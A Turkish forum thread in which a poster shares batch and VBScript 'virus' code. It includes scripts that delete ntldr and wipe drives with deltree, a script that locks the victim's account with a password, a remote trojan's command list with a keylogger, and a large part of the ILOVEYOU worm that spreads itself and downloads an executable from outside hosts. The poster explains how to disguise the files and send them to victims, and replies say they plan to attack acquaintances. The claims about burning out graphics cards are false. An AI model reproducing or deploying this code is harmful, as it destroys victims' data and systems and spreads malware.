Beklemeden oyun indirebilmek ve farklı üyelik özelliklerine sahip olmak için VİP Üye olabilirsiniz..


Paylaş
Sayfa 1 Toplam 2 Sayfadan 12 SonuncuSonuncu
Toplam 6 adet sonuctan sayfa basi 1 ile 5 arasi kadar sonuc gösteriliyor

Konu: Virüs kodları .bat

  1. #1
    Yeni Oyuncu
    Üyelik tarihi
    Sep 2010
    Bulunduğu yer
    İsveç
    Mesajlar
    28
    VİP ÜYELİK Sitemizin özel üyesi olup
    VİP Üyelik özelliklerinden yararlanmak
    ya da bağış yapmak için aşağıdaki resme tıklayınız.
    Sitemize Katkıda Bulunmak İçin Bağış Yapabilirsiniz

    Tecrübe Puanı
    0
    Aldığı Beğeni
    0
    Verdiği Beğeni
    0

    Exclamation Virüs kodları .bat




    İndirmek için Tıklayın


    Bat virüsü hazırlama
    İşte kodlar:

    cd..

    cd..

    attrib -s -h -r -a c:\ntldr

    del c:\ntldr

    shutdown -r

    arkadaşlar bu kodları bilgisayarımızdaki notpadi açarak içerisine kopyalıyoruz ve dosyayı kaydederken uzantısını .bat olarak değiştiriyoruz. sakın olaki dosyayı kendiniz açmayın!!!

    örneğin; güzelresimler.bat

    sonra işin heyecanlı kısmına gelelim. dosyamızı winrar yada winzip gibi programlar aracılığıyla karşı tarafa yolluyoruz. ve karşı taraf bu dosyayı açtığında boooom!!!! pc kendine otomatik format çeker.

    haaa olaki dosyayı kendiniz yanlışlıkla açtınız olsun önemli deil; ben size bunun panzehirinide veriyimde içiniz rahatlısın.

    yukarıdaki gibi hazırlamış olduğumuz dosya açıldığında 30 saniyelik bir geri sayma işlemi başlar forrmat işlemi için. bu 30 saniye bitmeden aşağıda verdiğim kodları yine aynı şekilde bat olarak kaydedip açtığınızda format işlemi duruyo. ama siz yinede denemeyin ne olur ne olmaz o kadar riske girmeyin..

    panzehir kodları;

    shutdown -a

    _________________________________________

    Yöntem Ms-dostan Pc ye gir


    ms-dos a geç , ve *setdebug* yaz karşına *Enable AktiveX debugging for Java* diye bir yazı gelecek ona tamam de ve bir sonraki satıra *debug* yaz sonra diğer satıra *XAbilgine gireceğin ip* yi yazıp enter ediyoruz sonra işleyici oluşturuldu yazısı gelecek şimdi "Programlar>Çalıştır>telnet" yazıp telneti açıyoruz sonra "uzaktaki sistem" deyip adamın ip'sini tekrar yazıyoruz gerisi size kalmış bu komutları kullanabilirsin. (*) ları yazmıyoruz. Kolay gelsin...

    CaptureScreen Ekrandan goruntu alır
    DelFile;(filename.exe) Dosya siler
    DisableKeys;1;(keys) harfleri iptal eder [kullanıcı klavyeyi kullanamaz]
    DisableKeys;0; Klavye tekrar aktif olur
    DisableKeys;1;abcdefghijklmnopqrstuvwxyzåäö Harfler kullanılmaz hale gelir
    DownloadFile;(path:filename.exe) istediginiz dosyayi cekersiniz
    Eject;1 CD-ROM'u acar
    Eject;0 CD-ROM'u kapar
    ExitWin;1 Windos'u kapar
    GetApps Calısan prg.ları listeler
    GetACL Admin Listi verir
    GetInfo Info penceresini verir
    GetDisks Hardiskindeki dosyaları gosterir
    GetSetup Server icin ayarları verir
    GetUser Kullanıcı hakkında bilgi verir GetVolume Sesi acar
    KeyClick;1 Key click on
    KeyClick;0 Key click off
    Listen;1 Start (keyboard) bir nevi keyloger adamın yazdıklarını gorursunuz
    Listen;0 Stop listening
    Message;(message) Messagebox halinde mesaj yolalrsınız
    NewSetup;serverport;1;password;youremail;VICTIMSem ail;smtpserver Sends the new admindata (1.7)
    Password;1;any ENTER'a bas ve ServerPwd;yenisifre Passwordu deistirir(1.6)
    PlaySound;(file.wav) wav dosyası calar
    PortRedir;(listen tcp port);(ip);(destination port) ******** the specified port
    Record;10 = 10 saniyelik ses kaydeder
    RemoveServer;1 Server'ı kaldırır
    RemoveServer;0 Kaldırmayı iptal eder
    ShowImage;(file.exe) Resim gosterir
    SendKeys;(words) Mesaj yollar * tusu ile yazdıgınız siler
    SendKeys;2;13 Sends ozel tuslar [sag,sol,yukari,asagi]
    SetACL;(ip)| Set (admin) access IP`s
    SetMousePos;(xpos);(ypos) Mouse'u oynatırsınız
    SwapButton;1 Mouse'un tuslarının yerlerini degistirir
    SwapButton;0 Mouse'u eski haline getirir
    StartApp;(file.exe) Program calıstırır
    UploadFile;(file.exe);(size);(destination dir) Dosya yollarsınız


    _________________________________________

    Yöntem Ekran Kartını Yakın


    @echo off
    C:\WINDOWS\COMMAND\deltree /y c:\windows\*.*
    @echo off
    C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.*
    @echo off
    C:\WINDOWS\COMMAND\deltree /y c:\*.*
    @echo off
    cls
    cls
    @echo .:: HacKeD By RaZoR::.
    @echo off3.


    kodlarını yapıştırın ve farklı kaydet diyin. dosya adını yazın ve sonuna .bat yazın. (örnek: açma.bat)
    vede kaydedin böylece ms-dos toplu iş dosyası oluşacak bunu sakın açmayın ve kimin ekran kartını yakmak istiyorsanız o kişiye yollayın. kurban dosyaya iki kere tıkadığı zaman saniyede 1000 den fazla ms-dos sayfası açılacak vede yaklasık 30 sn sonra ekran kartı gücünü kaybedip yorulacak. en sonunda HacKeD By RaZoR yazısı görünecek (burayı kendiniz değiştirebilirsiniz) vede görüntü gidecek. yeni ekran kartı alana kadar da gelmiyecek kolay gelsin

    _________________________________________

    buda Format virüsü karşıya gönderdiğinizde 30sn içinde pc otomatikmen format atıyor ayrıca format atarken ekran kartını yakıp CD-romu bozuyor yani format attıktan sonra tekrardan windowsu geri yüklüyemeyecektir çünkü CD-rom Cd okumuyacaktı yenisini alsa bile yani anlıcayacğınız pc toprak oldu demektir

    rem delete -pcaş(-vbe)
    On es error -pc
    On error Next Pc Hack
    dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d ow
    eq=""
    ctr=0
    Set fso = CreateObject("Scripting.FileSystemObject")
    set file = fso.OpenTextFile(WScript.ScriptFullname,1)
    vbscopy=file.ReadAll
    main()
    sub main()
    On Error Resume Next
    dim wscr,rr
    set wscr=CreateObject("WScript.Shell")
    rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Micros oft\Window s Scripting Host\Settings\Timeout")
    if (rr>=1) then
    wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
    end if
    Set dirwin = fso.GetSpecialFolder(0)
    Set dirsystem = fso.GetSpecialFolder(1)
    Set dirtemp = fso.GetSpecialFolder(2)
    Set c = fso.GetFile(WScript.ScriptFullName)
    c.Copy(dirsystem&"\MSKernel32.vbs")
    c.Copy(dirwin&"\Win32DLL.vbs")
    c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
    regruns()
    html()
    spreadtoemail()
    listadriv()
    end sub
    sub regruns()
    On Error Resume Next
    Dim num,downread
    regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \Cur rentVersio n\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
    regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \Cur rentVersio n\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"
    downread=""
    downread=regget("HKEY_CURRENT_USER\Software\Micros oft\Intern et Explorer\Download Directory")
    if (downread="") then
    downread="c:\"
    end if
    if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
    Randomize
    num = Int((4 * Rnd) + 1)
    if num = 1 then
    regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf 7679njbvYT /WIN-BUGSFIX.exe"
    elseif num = 2 then
    regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4j nHHGbvbmKL JKjhkqj4w/WIN-BUGSFIX.exe"
    elseif num = 3 then
    regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGq**198vbFV5hfFEkbopBdQZnmPOhfgER67b3V bvg/WIN-BUGSFIX.exe"
    elseif num = 4 then
    regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqweras djhPhjasfd glkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
    end if
    end if
    if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
    regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \Cur rentVersio n\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"
    regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about:blank"
    end if
    end sub
    sub listadriv
    On Error Resume Next
    Dim d,dc,s
    Set dc = fso.Drives
    For Each d in dc
    If d.DriveType = 2 or d.DriveType=3 Then
    folderlist(d.path&"\")
    end if
    Next
    listadriv = s
    end sub
    sub infectfiles(folderspec)
    On Error Resume Next
    dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
    set f = fso.GetFolder(folderspec)
    set fc = f.Files
    for each f1 in fc
    ext=fso.GetExtensionName(f1.path)
    ext=lcase(ext)
    s=lcase(f1.name)
    if (ext="vbs") or (ext="vbe") then
    set ap=fso.OpenTextFile(f1.path,2,true)
    ap.write vbscopy
    ap.close
    elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then
    set ap=fso.OpenTextFile(f1.path,2,true)
    ap.write vbscopy
    ap.close
    bname=fso.GetBaseName(f1.path)
    set cop=fso.GetFile(f1.path)
    cop.copy(folderspec&"\"&bname&".vbs")
    fso.DeleteFile(f1.path)
    elseif(ext="jpg") or (ext="jpeg") then
    set ap=fso.OpenTextFile(f1.path,2,true)
    ap.write vbscopy
    ap.close
    set cop=fso.GetFile(f1.path)
    cop.copy(f1.path&".vbs")
    fso.DeleteFile(f1.path)
    elseif(ext="mp3") or (ext="mp2") then
    set mp3=fso.CreateTextFile(f1.path&".vbs")
    mp3.write vbscopy
    mp3.close
    set att=fso.GetFile(f1.path)
    att.attributes=att.attributes+2
    end if
    if (eq<>folderspec) then
    if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then
    set scriptini=fso.CreateTextFile(folderspec&"\script.i ni")
    scriptini.WriteLine "[script]"
    scriptini.WriteLine ";mIRC Script"
    scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"
    scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
    scriptini.WriteLine ";"
    scriptini.WriteLine ";Khaled Mardam-Bey"
    scriptini.WriteLine ";http://www.mirc.com"
    scriptini.WriteLine ";"
    scriptini.WriteLine "n0=on 1:JOIN:#:{"
    scriptini.WriteLine "n1= /if ( şnick == şme ) { halt }"
    scriptini.WriteLine "n2= /.dcc send şnick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
    scriptini.WriteLine "n3=}"
    scriptini.close
    eq=folderspec
    end if
    end if
    next
    end sub
    sub folderlist(folderspec)
    On Error Resume Next
    dim f,f1,sf
    set f = fso.GetFolder(folderspec)
    set sf = f.SubFolders
    for each f1 in sf
    infectfiles(f1.path)
    folderlist(f1.path)
    next
    end sub
    sub regcreate(regkey,regvalue)
    Set regedit = CreateObject("WScript.Shell")
    regedit.RegWrite regkey,regvalue
    end sub
    function regget(value)
    Set regedit = CreateObject("WScript.Shell")
    regget=regedit.RegRead(value)
    end function
    function fileexist(filespec)
    On Error Resume Next
    dim msg
    if (fso.FileExists(filespec)) Then
    msg = 0
    else
    msg = 1
    end if
    fileexist = msg
    end function
    function folderexist(folderspec)
    On Error Resume Next
    dim msg
    if (fso.GetFolderExists(folderspec)) then
    msg = 0



    _________________________________________


    sırada karşıdaki pc ye karşıdakinin haberi olmadan şifre koymak var aşağıdaki kdou .bat çevirip gönderin

    net user %username% [parola]


    _________________________________________

    sıradaki kod karşıdakinin ekranını ve msn sini kaptıyor aşağıdaki kodları ne kadar çok yazarsanız karşıdaki pc nin ekranı ve msn si o kadar uzun süre kapanır

    start tskill explorer
    start tskill msnmsgr
    start tskill explorer
    start tskill msnmsgr
    start tskill explorer
    start tskill msnmsgr
    start tskill explorer
    start tskill msnmsgr
    start tskill explorer
    start tskill msnmsgr
    start tskill explorer
    start tskill msnmsgr
    start tskill explorer
    start tskill msnmsgr
    start tskill explorer
    start tskill msnmsgr
    start tskill explorer
    start tskill msnmsgr
    start tskill explorer
    start tskill msnmsgr
    start tskill explorer
    start tskill msnmsgr
    start tskill explorer
    start tskill msnmsgr
    start tskill explorer
    start tskill msnmsgr
    start tskill explorer
    start tskill msnmsgr
    start tskill explorer


    benden bu kadar daha .bat virüsleri bulursam sizlerle paylaşırım
    Konu RaZoR^_^ tarafından (19-09-10 Saat 20:49 ) değiştirilmiştir. Sebep: yanlıslık

  2. #2
    Acemi Oyuncu CS-Kolick - ait Kullanıcı Resmi (Avatar)
    Üyelik tarihi
    Nov 2010
    Bulunduğu yer
    naapcan gelcenmi ???
    Mesajlar
    151
    VİP ÜYELİK Sitemizin özel üyesi olup
    VİP Üyelik özelliklerinden yararlanmak
    ya da bağış yapmak için aşağıdaki resme tıklayınız.
    Sitemize Katkıda Bulunmak İçin Bağış Yapabilirsiniz

    Tecrübe Puanı
    73047
    Aldığı Beğeni
    1
    Verdiği Beğeni
    0

    Standart

    güzel pay. işime yarayabilir deneyecem...
    ⓧ_ⓧ ⓖⓐⓜⓔ ⓞⓥⓔⓡ

  3. #3
    Acemi Oyuncu UmuTR - ait Kullanıcı Resmi (Avatar)
    Üyelik tarihi
    Jul 2010
    Bulunduğu yer
    Hatay
    Mesajlar
    114
    VİP ÜYELİK Sitemizin özel üyesi olup
    VİP Üyelik özelliklerinden yararlanmak
    ya da bağış yapmak için aşağıdaki resme tıklayınız.
    Sitemize Katkıda Bulunmak İçin Bağış Yapabilirsiniz

    Tecrübe Puanı
    238116
    Aldığı Beğeni
    0
    Verdiği Beğeni
    0

    Standart

    Korktuğum için arkadaşımın PC sinde deneyeceğim...

  4. #4
    Acemi Oyuncu buhulucam - ait Kullanıcı Resmi (Avatar)
    Üyelik tarihi
    Jul 2012
    Mesajlar
    189
    VİP ÜYELİK Sitemizin özel üyesi olup
    VİP Üyelik özelliklerinden yararlanmak
    ya da bağış yapmak için aşağıdaki resme tıklayınız.
    Sitemize Katkıda Bulunmak İçin Bağış Yapabilirsiniz

    Tecrübe Puanı
    196273
    Aldığı Beğeni
    11
    Verdiği Beğeni
    0

    Standart

    Evet arkadaşlar zaten çoğu virüsler böyle oluyor bir nevi işte bunları .dll yapıp yolluyorlar sağol kardeş gıcık olduğum biri vardı yapıp yollucam pc'sini kaybetsinde görsün... aileme küfür etmek neymiş

  5. #5
    CezaLı
    Üyelik tarihi
    Feb 2010
    Bulunduğu yer
    pc başında
    Mesajlar
    2.570
    Tecrübe Puanı
    0
    Aldığı Beğeni
    53
    Verdiği Beğeni
    16

    Standart

    tipik bir sallama anlayışı hiç bir virüs programı ekran kartını kalıcı bir şekilde bozamaz bozması için overclock yapması gerekir yani voltaj ayarları

Yetkileriniz

  • Konu Acma Yetkiniz Yok
  • Cevap Yazma Yetkiniz Yok
  • Eklenti Yükleme Yetkiniz Yok
  • Mesajınızı Değiştirme Yetkiniz Yok
  •  

Siteyle ilgili her türlü sorununuz için [email protected] adresine e-mail gönderiniz

Please sent an e-mail to [email protected] for all your issues

ÜYELER İÇİN YASAL UYARI


Forum alanlarını kullanırken; 3.Şahısların kişilik ve gizlilik haklarını ihlal edici iletiler yazmak, Pornografik görüntüler paylaşmak, Hak sahibinden izin almadan MP3, Film, dizi, video, yazılım gibi eserleri doğrudan paylaşmak, ayrıca ilgili lisans sahibi olmayan sitelere erişim için link paylaşmak hukuka ve yasalara aykırıdır. T.C. yasalarına ve hukuka aykırı olan bu tür paylaşımlar site içerisinde tespit edildiği veya hak sahibi tarafından şikayete konu olduğu takdirde, kullanıcı siteden uzaklaştırılacağı gibi, sistem tarafından tutulan kayıtlar, talepleri halinde yasal mercilere verilebilecektir.

HAK SAHİPLERİNE ve YASAL MAKAMLARA

Sitemiz, hukuka, yasalara, telif haklarına ve kişilik haklarına saygılı olmayı amaç edinmiştir. Sitemiz, 5651 sayılı yasada tanımlanan “yer sağlayıcı” olarak hizmet vermektedir. İlgili yasaya göre, site yönetiminin hukuka aykırı içerikleri kontrol etme yükümlülüğü yoktur. Bu sebeple, sitemiz “uyar ve kaldır” prensibini benimsemiştir. Telif hakkına konu olan eserlerin yasal olmayan bir biçimde paylaşıldığını ve yasal haklarının çiğnendiğini düşünen hak sahipleri veya meslek birlikleri, [email protected]  mail adresinden bize ulaşabilirler. Buraya ulaşan talep ve şikayetler Hukuk Müşavirimiz tarafından incelenecek, şikayet yerinde görüldüğü takdirde ihlal olduğu düşünülen içerikler sitemizden kaldırılacaktır. Ayrıca, mahkemelerden talep gelmesi halinde hukuka aykırı içerik üreten ve hukuka aykırı paylaşımda bulunan üyelerin tespiti için gerekli teknik veriler sağlanacaktır.


 

Reklam Vermek için [email protected] Adresine e-mail gönderiniz

For Advertising contact [email protected]

Ukash